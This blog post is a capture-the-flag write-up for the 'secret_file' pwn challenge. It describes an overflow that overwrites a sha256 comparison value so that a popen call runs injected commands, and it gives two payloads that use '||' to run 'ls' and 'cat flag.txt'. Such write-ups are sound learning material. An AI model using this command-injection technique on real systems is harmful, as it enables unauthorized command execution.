攻防世界 secret_file

最近忙着学托福晚上上线刷个题放松一下XD。

idea

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,看看逻辑也是挺复杂的,来看看 main 函数。

大概的流程是这样的:程序会计算你输入的 sha256 的值与本地计算的值做比较,如果相等就会往下执行 popen,如果可以控制 popen 里的参数那是极好的。在审计的时候由于 逻辑太复杂 太菜了,直接输入了一个比较大的 padding 测试发现有溢出,那思路就明显了,保护全开直接控制程序流显然不是最明智的解,而且这个溢出也是有限制的,不能溢出到 rbp or rip。那么我们可以先计算出 strcmp 时比较的值的 padding 覆盖为本地计算的 sha256 值的话那就可以运行到 popen ,调试发现参数在 256 处,这里有个小 tips:由于我们输入的 padding 和 popen 时的命令是混在一起的,所以我们需要用 || 来把后面的输入屏蔽掉。

exploit

1
2
3
4
5
6
7
##ls

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacls||aabaaaaaaaacaaadaaaaeaa8ff68b0b8a70a387e44ba491f4894ffcb1cf575afe8106f2b912ed0b40f3e043


##cat flag.txt
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaaccat flag.txt||aaabaaacaaada8ff68b0b8a70a387e44ba491f4894ffcb1cf575afe8106f2b912ed0b40f3e043

文章作者: Carl Star
文章链接: http://carlstar.club/2019/10/09/secret_file/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo